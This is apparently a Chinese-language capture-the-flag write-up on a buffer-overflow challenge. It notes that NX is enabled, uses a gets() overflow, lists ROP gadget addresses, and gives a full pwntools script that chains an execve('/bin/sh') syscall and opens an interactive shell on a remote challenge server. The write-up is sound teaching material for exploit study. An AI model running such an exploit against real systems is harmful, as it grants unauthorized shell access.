# 堆ROP題目

> Author:堇姬

## 確認保護
看到有開Stack canary，但溢出後卻沒有報stack canary的錯誤，所以應該是沒開。
另外他有開NX，所以沒辦法寫shellcode

## 分析ASM

有gets 可以BOF，不過沒有其他function可以return過去，所以應該是要ROP

## 堆ROP
- execve('bin/sh')

|暫存器|值|
|---|----|
|rax|0x3b|
|rdi|要執行的參數值(/bin/sh)|
|rsi|argv(這裡=0)|
|rdx|envp(這裡=0)|

- stack

pop rax
0x3b
pop rdi
command_addr_in_stack
pop rsi
0
pop rdx;
0
syscall

ROPgadget找位置
|暫存器|位置|要蓋的值|
|---|----|----|
|pop rax ;ret|0x4516a7|0x3b|
|pop rdi ;ret|0x4018c2|0x4c3300|
|pop rsi ;ret|0x40f21e|0|
|pop rdx ;ret|0x4017cf|0|
|syscall|0x4012d3|無|






輸入的shellcode存在0x4c3300

要蓋0x70+0x8然後開始ret

### Script

from pwn import *
r=remote('23.146.248.20', 10009)
#r=process('rop0')
shellcode_addr=0x004c3300
context.arch='amd64'
ROPvar={
    'shellcode':b"/bin/bash\x00",
    'pop_rax_ret':0x4516a7,
    'pop_rdi_ret':0x4018c2,
    'pop_rsi_ret':0x40f21e,
    'pop_rdx_ret':0x4017cf,
    'syscall':0x4012d3
}

STACKvar={
    'rax_var':0x3b,
    'rdi_var':shellcode_addr,
    'rsi_var':0,
    'rdx_var':0,
}
padding=0x70+0x8

payload=b"a"*padding+flat(ROPvar['pop_rax_ret'],
                          STACKvar['rax_var'],
                          ROPvar['pop_rdi_ret'],
                          STACKvar['rdi_var'],
                          ROPvar['pop_rdx_ret'],
                          STACKvar['rdx_var'],
                          ROPvar['pop_rsi_ret'],
                          STACKvar['rsi_var'],
                          ROPvar['syscall'])

r.sendline(ROPvar['shellcode'])
r.sendline(payload)
r.interactive()